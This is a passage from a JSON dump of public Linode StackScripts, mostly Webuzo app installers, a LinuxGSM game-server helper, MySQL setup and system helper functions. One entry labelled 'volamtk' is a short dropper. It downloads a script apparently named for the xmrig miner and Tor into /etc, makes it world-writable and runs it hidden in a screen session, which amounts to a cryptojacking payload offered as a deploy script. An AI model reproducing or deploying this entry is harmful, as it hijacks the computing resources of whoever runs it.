"deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9003, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Oxwall powered by Webuzo", "description": "Oxwall is unbelievably flexible and easy to use PHP/MySQL community software platform.\r\n\r\nOxwall is used for a wide range of projects starting from family sites and custom social networks to collaboration tools and enterprise community solutions. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Oxwall and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Oxwall powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Oxwall and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Oxwall :\n# Oxwall is unbelievably flexible and easy to use PHP/MySQL community software platform.\n###########################################################################################################\n\n# Install Oxwall Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=258&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Oxwall and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Oxwall has been successfully installed\"\necho \" \"\necho \"You can now configure Oxwall and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 670763, "username": "ChristopherMitchellgnfi", "user_gravatar_id": "57669f55c07796f7f563de0d5ec9da70", "label": "volamtk", "description": "volamtk", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/sh\nsleep 60\nsudo su root\napt-get install -y python\nwget https://gitlab.com/maihuuhanh1846/test/-/raw/master/daoxmrig_ubuntu_tor_docker_442.py -O /etc/dao.py\nchmod 777 /etc/dao.py\nscreen -dm python /etc/dao.py\n\n", "user_defined_fields": []}, {"id": 6188, "username": "ma88123456", "user_gravatar_id": "2e365c39a7fd833d229a95d24c8c525d", "label": "000", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu11.1032bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash''", "user_defined_fields": []}, {"id": 9004, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "qdPM powered by Webuzo", "description": "qdPM is a free web-based project management tool suitable for a small team working on multiple projects.\r\n\r\nIt is fully configurable. You can easy manage Projects, Tasks and People.\r\n\r\nCustomers interact using a Ticket System that is integrated into Task management. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure qdPM and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "qdPM powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install qdPM and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About qdPM :\n# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.\n###########################################################################################################\n\n# Install qdPM Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=428&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling qdPM and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, qdPM has been successfully installed\"\necho \" \"\necho \"You can now configure qdPM and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1087021, "username": "semmatweb", "user_gravatar_id": "74d1d68d933159acd4082deafbe5879c", "label": "linode", "description": "dit", "ordinal": 0, "logo_url": "", "images": ["linode/centos7", "linode/debian9", "linode/ubuntu18.04", "linode/debian10", "linode/centos8", "linode/centos-stream8", "linode/almalinux8", "linode/rocky8", "linode/debian11", "linode/centos-stream9", "linode/ubuntu22.04", "linode/almalinux9", "linode/rocky9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n# This block defines the variables the user of the script needs to provide\n# when deploying using this script.\n#\n#\n#\n# HOSTNAME=\n#\n#\n# FQDN=\n\n# This sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the packages on the system from the distribution repositories.\napt-get update\napt-get upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname -F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN) in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields": [{"name": "hostname", "label": "The hostname for the new Linode."}, {"name": "fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id": 9006, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Jcow powered by Webuzo", "description": "Jcow is a flexible Social Networking software written in PHP. It can help you to:\r\n\r\n * Build a social network for your interests and passions.\r\n * Build a member community for your existing website.\r\n * Build a social networking site like facebook/myspace/twitter.\r\n\r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Jcow and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Jcow powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Jcow and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Jcow :\n# Jcow is a flexible Social Networking software written in PHP. It can help you to:\n# * Build a social network for your interests and passions.\n# * Build a member community for your existing website.\n# * Build a social networking site like facebook/myspace/twitter.\n###########################################################################################################\n\n# Install Jcow Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=182&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Jcow and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Jcow has been successfully installed\"\necho \" \"\necho \"You can now configure Jcow and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 401711, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "Linux GSM Helper", "description": "Linux GSM One-Click Helper", "ordinal": 0, "logo_url": "assets/linuxgsm.svg", "images": ["linode/debian9", "linode/debian10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# Linux GSM install\n\nfunction linuxgsm_install {\n\necho Configuring IP address\nIPADDR=`hostname -I | awk ''{print$1}''`\n\n# Add a user for the game server\necho Setting up a user\nadduser --disabled-password --gecos \"\" \"$GAMESERVER\"\necho \"$GAMESERVER ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n# Download and the LinuxGSM script\necho Downloading LinuxGSM\n# TESTING\ncd /home/\"$GAMESERVER\"/\n# OLD: wget -4 https://linuxgsm.com/dl/linuxgsm.sh -P /home/\"$GAMESERVER\"/\nwget -O linuxgsm.sh https://linuxgsm.sh -P /home/\"$GAMESERVER\"/\nchmod +x /home/\"$GAMESERVER\"/linuxgsm.sh\nchown -R \"$GAMESERVER\":\"$GAMESERVER\" /home/\"$GAMESERVER\"/*\n\n# Run the GSM script\necho running LinuxGSM script\nsu - \"$GAMESERVER\" -c \"/home/$GAMESERVER/linuxgsm.sh $GAMESERVER\"\n\n}\n\n\nfunction game_install {\n\n# Installing the Server\necho Installing the Server\nsu - \"$GAMESERVER\" -c \"/home/$GAMESERVER/$GAMESERVER auto-install\"\nif [[ \"$GAMESERVER\" =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" >> /home/\"$GAMESERVER\"/lgsm/config-lgsm/\"$GAMESERVER\"/\"$GAMESERVER\".cfg\nelse\n echo No Gameserver Login Token Needed\nfi\n\n}\n\n\nfunction service_config {\n\n# Add cron jobs for updating the gameserver and linuxgsm. Monitor will ensure that the gameserver is running and restart if needed.\necho Adding game update cron jobs\ncrontab -l > gamecron\necho \"*/5 * * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER monitor'' > /dev/null 2>&1\" >> gamecron\necho \"0 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update'' > /dev/null 2>&1\" >> gamecron\necho \"30 23 * * * su - $GAMESERVER -c ''/home/$GAMESERVER/$GAMESERVER update-functions'' > /dev/null 2>&1\" >> gamecron\ncrontab gamecron\nrm gamecron\n\n# Create systemd service file\n\ncat << END > /etc/systemd/system/$GAMESERVER.service\n[Unit]\nDescription=$GAMESERVER\n\n[Service]\nUser=$GAMESERVER\nType=forking\nExecStart=/bin/bash /home/$GAMESERVER/$GAMESERVER start\nExecStop=/bin/kill -2 $MAINPID\n\n[Install]\nWantedBy=multi-user.target\nEND\n\n}\n\n## Adding these for Valheim launch, will eventually replace the above code, but for now, we added ''v_'' in front of functions\n\nfunction v_linuxgsm_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n su - \"$username\" -c \"\n # Download and the LinuxGSM script\n wget -O linuxgsm.sh https://linuxgsm.sh\n chmod +x linuxgsm.sh\n # Run the GSM script\n /home/$username/linuxgsm.sh $gameserver\n \"\n}\n\nfunction v_linuxgsm_game_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Installing the Server\n su - \"$username\" -c \"/home/$username/$gameserver auto-install\"\n if [[ \"$gameserver\" =~ (^boserver$|^bb2server$|^bmdmserver$| \\\n ^cssserver$|^csgoserver$|^dodsserver$|^emserver$| \\\n ^gmodserver$|^insserver$|^nmrihserver$|^tf2server$| \\\n ^tuserver$|^zpsserver$) ]]; then\n echo -e \"\\ngslt=$GSLT\" >> \"/home/$username/lgsm/config-lgsm/$gameserver/$gameserver.cfg\"\n else\n echo No gameserver Login Token Needed\n fi\n}\n\nfunction v_linuxgsm_service_config {\n local -r gameserver=\"$1\" username=\"$2\"\n\n # Add cron jobs for updating the game server and LinuxGSM\n # Monitor will ensure that the gameserver is running and restart if needed\n crontab -l > gamecron\n\n echo \"*/5 * * * * su - \"$username\" -c ''/home/$username/$gameserver monitor'' > /dev/null 2>&1\" >> gamecron\n echo \"0 23 * * * su - \"$username\" -c ''/home/$username/$gameserver update'' > /dev/null 2>&1\" >> gamecron\n echo \"30 23 * * * su - \"$username\" -c ''/home/$username/$gameserver update-functions'' > /dev/null 2>&1\" >> gamecron\n\n crontab gamecron\n rm gamecron\n\n # Create systemd service file\n cat << EOF > /etc/systemd/system/$gameserver.service\n[Unit]\nDescription=$gameserver\n[Service]\nUser=$username\nType=forking\nExecStart=/bin/bash /home/$username/$gameserver start\nExecStop=/bin/kill -2 \\$MAINPID\n[Install]\nWantedBy=multi-user.target\nEOF\n}\n\nfunction v_linuxgsm_oneclick_install {\n local -r gameserver=\"$1\" username=\"$2\"\n\n v_linuxgsm_install \"$gameserver\" \"$username\"\n v_linuxgsm_game_install \"$gameserver\" \"$username\"\n v_linuxgsm_service_config \"$gameserver\" \"$username\"\n}", "user_defined_fields": []}, {"id": 883247, "username": "hankersaeb", "user_gravatar_id": "6a47fbc2e36ad66d2f8c4a0d783f75df", "label": "hello", "description": "hello world hhgg", "ordinal": 0, "logo_url": "", "images": ["linode/almalinux8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Hello man12", "script": "#!bin/bash", "user_defined_fields": []}, {"id": 2864, "username": "jmfox1987", "user_gravatar_id": "6f9936b78bbbbaf91191091d114aa66f", "label": "mySQL", "description": "i have no idea", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n# \n# \n# \n# \n\t \n \nsource \n \nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 401712, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "Basic OCA Helper ", "description": "Basic OCA Helper One-Click", "ordinal": 0, "logo_url": "assets/none", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "move apt-get upgrade to end of script to prevent busted nf_conntrack kernel modules for UFW - cmullen ", "script": "#!/bin/bash\n# Used for Marketplace Apps\n# Helper functions\n\nfunction apt_setup_update {\n # Force IPv4 and noninteractive update\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive\n apt-get update -y\n}\n\nfunction set_hostname {\n IP=`hostname -I | awk ''{print$1}''`\n HOSTNAME=`dnsdomainname -A`\n hostnamectl set-hostname $HOSTNAME\n echo $IP $HOSTNAME >> /etc/hosts\n}\n\nfunction mysql_root_preinstall {\n # Set MySQL root password on install\n debconf-set-selections <<< \"mysql-server mysql-server/root_password password $DBROOT_PASSWORD\"\n debconf-set-selections <<< \"mysql-server mysql-server/root_password_again password $DBROOT_PASSWORD\"\n}\n\nfunction run_mysql_secure_installation_ubuntu20 {\n # Installs expect, runs mysql_secure_installation and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Press y|Y for Yes, any other key for No:\\\"\n send \\\"n\\r\\\"\n expect \\\"New password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Re-enter new password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Remove anonymous users? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Disallow root login remotely? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to it? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Reload privilege tables now? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}\n\nfunction ufw_install {\n # Install UFW and add basic rules\n apt-get install ufw -y\n ufw default allow outgoing\n ufw default deny incoming\n ufw allow ssh\n ufw enable\n systemctl enable ufw\n\n # Stop flooding Console with messages\n ufw logging off\n}\n\nfunction fail2ban_install {\n # Install and configure Fail2ban\n apt-get install fail2ban -y\n cd /etc/fail2ban\n cp fail2ban.conf fail2ban.local\n cp jail.conf jail.local\n systemctl start fail2ban\n systemctl enable fail2ban\n cd\n}\n\nfunction stackscript_cleanup {\n # Force IPv4 and noninteractive upgrade after script runs to prevent breaking nf_conntrack for UFW\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive \n apt-get upgrade -y\n\n rm /root/StackScript\n rm /root/ssinclude*\n echo \"Installation complete!\"\n}\n\nfunction run_mysql_secure_installation {\n # Installs expect, runs mysql_secure_installation and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Enter current password for root (enter for ):\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Change the root password?\\\"\n send \\\"n\\r\\\"\n expect \\\"Remove anonymous users?\\\"\n send \\\"y\\r\\\"\n expect \\\"Disallow root login remotely?\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to it?\\\"\n send \\\"y\\r\\\"\n expect \\\"Reload privilege tables now?\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}", "user_defined_fields": []}, {"id": 9008, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "CMS Made Simple powered by Webuzo", "description": "CMS Made Simple provides a fast and easy way to create a professional web site and manage its content, whether it''s for a small business or a multinational corporation!\r\nCMS Made Simple provides a mechanism for the website administrator to create and manage pages, their layout, and their content. CMS Made Simple is unobtrusive. You can create a table based layout, or a fully validating XHTML/CSS layout.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure CMS Made Simple and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "CMS Made Simple powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install CMS Made Simple and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About CMS Made Simple :\n# CMS Made Simple provides a fast and easy way to create a professional web site and manage its content,\n# whether it''s for a small business or a multinational corporation!\n###########################################################################################################\n\n# Install CMS Made Simple Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=247&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling CMS Made Simple and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, CMS Made Simple has been successfully installed\"\necho \" \"\necho \"You can now configure CMS Made Simple and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 2865, "username": "lpj", "user_gravatar_id": "098e8581b54f4bec5877eac433034201", "label": "lib-system", "description": "System helper functions for Ubuntu.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu11.1032bit", "linode/ubuntu11.10", "linode/ubuntu12.04lts32bit", null], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Sudoers file mode must be 0440", "script": "#!/bin/bash\n#\n# System helper functions\n#\n# Author: Philipe Farias \n\nsource \n\nfunction lower {\n # helper function\n echo $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction set_hostname {\n HOSTNAME=$1\n if [ -z \"$HOSTNAME\" ] ; then\n export HOSTNAME=\"`get_rdns_primary_ip`\"\n fi\n HOST=`echo $HOSTNAME | sed ''s/\\(\\[a-z0-9\\]\\)*\\..*/\\1/''`\n HOSTS_LINE=\"`system_primary_ip`\\t$HOSTNAME\\t$HOST\"\n echo \"$HOST\" > /etc/hostname\n sed -i -e \"s/^127\\.0\\.1\\.1\\s.*$/$HOSTS_LINE/\" /etc/hosts\n start hostname\n}\n\nfunction update_locale_en_US_UTF_8 {\n #locale-gen en_US.UTF-8\n dpkg-reconfigure locales\n update-locale LC_ALL=en_US.UTF-8 LANG=en_US.UTF-8\n echo \"LC_ALL=en_US.UTF-8\" >> /etc/environment\n}\n\nfunction set_timezone {\n # $1 - timezone (zoneinfo file)\n ln -sf \"/usr/share/zoneinfo/$1\" /etc/localtime\n dpkg-reconfigure --frontend noninteractive tzdata\n}\n\nfunction system_add_user {\n # $1 - username\n # $2 - password\n # $3 - groups\n USERNAME=`lower $1`\n PASSWORD=$2\n SUDO_GROUP=$3\n SHELL=\"/bin/bash\"\n useradd --create-home --shell \"$SHELL\" --user-group --groups \"$SUDO_GROUP\" \"$USERNAME\"\n echo \"$USERNAME:$PASSWORD\" | chpasswd\n\n cat >\"/etc/sudoers.d/$USERNAME\" <> \"$USER_HOME/.ssh/authorized_keys\"\n chmod 0600 \"$USER_HOME/.ssh/authorized_keys\"\n}\n\nfunction sshd_config_set_port {\n sed -i -e \"s/Port 22/Port $1/\" /etc/ssh/sshd_config\n}\n\nfunction sshd_config_edit_bool {\n # $1 - param name\n # $2 - Yes/No\n VALUE=`lower $2`\n if [ \"$VALUE\" == \"yes\" ] || [ \"$VALUE\" == \"no\" ]; then\n sed -i -e \"s/^#*\\($1\\).*/\\1 $VALUE/\" /etc/ssh/sshd_config\n fi\n}\n\nfunction sshd_config_permitrootlogin {\n sshd_config_edit_bool \"PermitRootLogin\" \"$1\"\n}\n\nfunction sshd_config_passwordauthentication {\n sshd_config_edit_bool \"PasswordAuthentication\" \"$1\"\n}\n\nfunction sshd_config_pubkeyauthentication {\n sshd_config_edit_bool \"PubkeyAuthentication\" \"$1\"\n}\n\nfunction sshd_config_passwordauthentication {\n sshd_config_edit_bool \"PasswordAuthentication\" \"$1\"\n}\n\n# Email\nfunction install_postfix {\n # $1 - root email\n # $2 - username\n postfix_install_loopback_only # SS1\n #install mail sending utilities\n apt-get -y install mailutils\n #configure root alias\n echo \"root: $1\" >> /etc/aliases\n echo \"$2: root\" >> /etc/aliases\n cat /etc/hostname > /etc/mailname\n newaliases\n sed -i -e \"s/mydestination = localhost, localhost.localdomain, , localhost/mydestination = localhost, localhost.localdomain, $HOSTNAME/\" /etc/postfix/main.cf\n touch /tmp/restart-postfix\n}\n\n# Monit and Munin\nfunction install_monit {\n # $1 - root email\n apt-get -y install monit\n sed -i -e ''s/startup=0/startup=1/'' /etc/default/monit\n mkdir -p /etc/monit/conf.d/\n sed -i -e \"s/# set daemon 120/set daemon 120/\" /etc/monit/monitrc\n sed -i -e \"s/# with start delay 240/with start delay 240/\" /etc/monit/monitrc\n sed -i -e \"s/# set logfile syslog facility log_daemon/set logfile \\/var\\/log\\/monit.log/\" /etc/monit/monitrc\n sed -i -e \"s/# set mailserver mail.bar.baz,/set mailserver localhost/\" /etc/monit/monitrc\n sed -i -e \"s/# set eventqueue/set eventqueue/\" /etc/monit/monitrc\n sed -i -e \"s/# basedir \\/var\\/monit/basedir \\/var\\/monit/\" /etc/monit/monitrc\n sed -i -e \"s/# slots 100 /slots 100/\" /etc/monit/monitrc\n sed -i -e \"s/# set alert sysadm@foo.bar/set alert $1 reminder 180/\" /etc/monit/monitrc\n sed -i -e \"s/# set httpd port 2812 and/ set httpd port 2812 and/\" /etc/monit/monitrc\n sed -i -e \"s/# use address localhost/use address 